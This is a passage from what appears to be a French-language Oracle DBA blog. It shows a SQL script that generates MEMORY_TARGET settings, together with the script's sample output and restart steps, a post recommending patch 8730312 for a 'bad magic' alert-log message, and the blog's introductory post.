'-- Memory Max Target = 'round(to_char((qry_sga_max.value+
greatest(qry_pga_target.value,qry_pga_alloc.value)))/1024/1024)' MB'chr(10)
'Alter system set memory_max_target='
to_char((qry_sga_max.value+greatest(qry_pga_target.value,qry_pga_alloc.value)))' scope=spfile;'chr(10)
'Alter system reset sga_target scope=spfile;'chr(10)
'Alter system reset pga_aggregate_target scope=spfile;'chr(10)
'-- SGA_MAX_SIZE ne doit pas etre superieur a MEMORY_TARGET'chr(10)
'Alter system set sga_max_size='to_char((qry_sga_target.value+
greatest(qry_pga_target.value,qry_pga_alloc.value)))' scope=spfile;' CMD_SQL
from (select value from v$parameter where name='sga_target') qry_sga_target,
(select value from v$parameter where name='pga_aggregate_target') qry_pga_target,
(select value from v$pgastat where name='maximum PGA allocated') qry_pga_alloc,
(select value from v$parameter where name='sga_max_size') qry_sga_max
;
select 'spool off' from dual;
spool off


Une fois exécuté, il va générer un script appelé «rslt_memory_target.sql» (chacun est libre de le nommer comme il veut):
--- Les valeurs ci-dessous sont les valeurs de ma bd de test.

spool rslt_memory_target.log
-- Memory Target = 3775 MB
Alter system set memory_target=3958383616 scope=spfile;
-- Memory Max Target = 3775 MB
Alter system set memory_max_target=3958383616 scope=spfile;
Alter system reset sga_target scope=spfile;
Alter system reset pga_aggregate_target scope=spfile;
-- SGA_MAX_SIZE ne doit pas etre superieur a MEMORY_TARGET
Alter system set sga_max_size=3958383616 scope=spfile;
spool off


Note:
Dans cet exemple, tous les paramètres ont la même valeur. Si vous le désirez, vous pouvez les adapter tout en sachant que:
- Le SGA_MAX_SIZE ne doit pas etre supérieur à MEMORY_TARGET
- Le MEMORY_TARGET ne doit pas être supérieur au MEMORY_MAX_TARGET

Vous pouvez donc exécuter le scipt «rslt_memory_target.sql» pour prendre ces valeurs en compte.

Certains de ces paramètres ne pouvant pas être modifiés de façon dynamique (d'où l'utilisation du scope=spfile au lieu de scope=both), il faut redémarrer la bd:

Avec SQL:
sqlplus / as sysdba
SQL> shutdown immediate
...
SQL> startup


Avec Oracle Restart ou RAC (nous parlerons de ces notions dans des articles futurs):
srvctl stop database -d $ORACLE_SID [-o immediate]
srvctl start database -d $ORACLE_SID


NOTE IMPORTANTE:

Tout ce qui a été décrit ci-dessus n'est valable que si vous utilisez un SPFILE.
Si pour une raison quelconque, vous utilisez un PFILE (ce que je ne conseille pas, car il est mieux d'utiliser le spfile pour bénéficier des flexibilités qu'il ofrre):

- Positionner les paramètre dans le fichier PFILE:

memory_target=3958383616
memory_max_target=3958383616
sga_target=0
pga_aggregate_target=0
sga_max_size=3958383616


- Arrêter la bd
sqlplus / as sysdba
SQL> shutdown immediate


- Démarrer la bd avec le pfile:
SQL> startup pfile=initXXX.ora

N'hésitez surtout pas si vous avez des commentaires, remarques et suggestions.

«kewastUnPackStats(): bad magic 1» dans l'alert log 11.2.0.1

Si vous rencontrez fréquemment le message d'erreur suivant (ou quelque chose de semblable) dans l'alerte log de votre BD 11.2.0.1, il s'agit du bug 8730312:

kewastUnPackStats(): bad magic 1 (0xffffffff7a39ffe3, 0)
kewastUnPackStats(): bad magic 1 (0xffffffff7a39fedc, 0)
kewastUnPackStats(): bad magic 1 (0xffffffff7a39ffe4, 0)
kewastUnPackStats(): bad magic 1 (0xffffffff7a39ffe4, 0)

Contrairement à ce que suggèrent certains forums, à savoir mettre le paramètre «control_management_pack_access» à NONE, il existe un patch pour corriger le problème.

Personnellement, je ne conseillerai pas de mettre ce paramètre à NONE. D'ailleurs, lorsque j'ai rencontré le problème, Oracle support ne l'a pas suggéré non plus.

Oracle support m'a plutôt suggéré d'appliquer le patch 8730312 (ma plateforme est Solaris SPARC 64-bit).

Après avoir appliqué ce patch, je n'ai plus jamais rencontré ce message dans l'alerte log de ma bd 11.2.0.1.

mercredi 5 mai 2010

Prise de contact

Bonjour à tous et à toutes,


Bienvenu(e)s sur mon blog.
Ce blog a été créé pour me permettre d'échanger avec tous ceux qui travaillent dans le monde Oracle dans le but de partager nos connaissances.
Nous passons souvent beaucoup de temps à chercher la solution à un problème que certainement d'autres dbas ont déjà résolu.
L'objectif donc de ce blog est de publier de façon succincte, ce sur quoi je travaille à partir d'aujourd'hui, dans le but de partager mes joies et mes peines avec vous.
Comme vous le savez, il est impossible d'avoir la connaissance absolue, surtout dans le milieu des BDs Oracle. N'hésitez donc surtout pas à commenter, à apporter vos remarques et suggestions pour qu'ensemble nous puissions bâtir une base de connaissances assez fiable.

Merci et au plaisir de vous retrouver sur mon blog.

Hervé Etché